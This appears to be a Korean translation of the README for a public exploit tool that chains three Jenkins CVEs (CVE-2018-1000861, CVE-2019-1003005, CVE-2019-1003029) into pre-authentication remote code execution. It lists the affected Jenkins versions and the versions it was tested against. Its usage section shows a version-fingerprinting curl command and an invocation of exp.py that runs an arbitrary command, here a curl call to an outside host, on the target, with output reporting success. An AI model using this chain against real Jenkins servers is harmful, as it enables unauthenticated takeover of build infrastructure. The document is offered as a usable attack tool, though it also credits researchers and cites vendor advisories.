awesome-jenkins-rce-2019

2017년 5월 이후 Jenkins에는 사전 인증(pre-auth) RCE가 없었지만, 이것이 바로 그 방법입니다!

CVE-2018-1000861, CVE-2019-1003005 및 CVE-2019-1003029를 연결하여 더 안정적이고 우아한 사전 인증 원격 코드 실행을 달성합니다!

영향 목록

• ANONYMOUS_READ 비활성화

  • Jenkins 버전 < 2.138

• ANONYMOUS_READ 활성화(또는 일반 사용자 계정 사용)

  • Jenkins 빌드 시간 < 2019-01-28

사용법

$ curl -s -I http://jenkins/| grep X-Jenkins
X-Jenkins: 2.137
X-Jenkins-Session: 20f72c2e
X-Jenkins-CLI-Port: 50000
X-Jenkins-CLI2-Port: 50000

$ python exp.py http://jenkins/ 'curl orange.tw'
[*] ANONYMOUS_READ disable!
[*] Bypass with CVE-2018-1000861!
[*] Exploit success!(it should be :P)

테스트 환경

• Jenkins 2.53
• Jenkins 2.122
• Jenkins 2.137
• Jenkins 2.138 with ANONYMOUS_READ enable
• Jenkins 2.152 with ANONYMOUS_READ enable
• Jenkins 2.153 with ANONYMOUS_READ enable
• Script Security Plugin 1.43
• Script Security Plugin 1.48

감사의 말

• @orange_8361 - CVE-2018-1000861
• @0ang3el - CVE-2019-1003005
• @webpentest - CVE-2019-1003029

HITB AMS 2019 발표 자료 중 일부:

참고 자료

• Jenkins 해킹 Part 1 - 동적 라우팅 다루기
• Jenkins 해킹 Part 2 - 무인증 RCE를 위한 메타 프로그래밍 악용!
• Jenkins 보안 권고 2018-12-05
• Jenkins 보안 권고 2019-01-28
• Jenkins 보안 권고 2019-03-06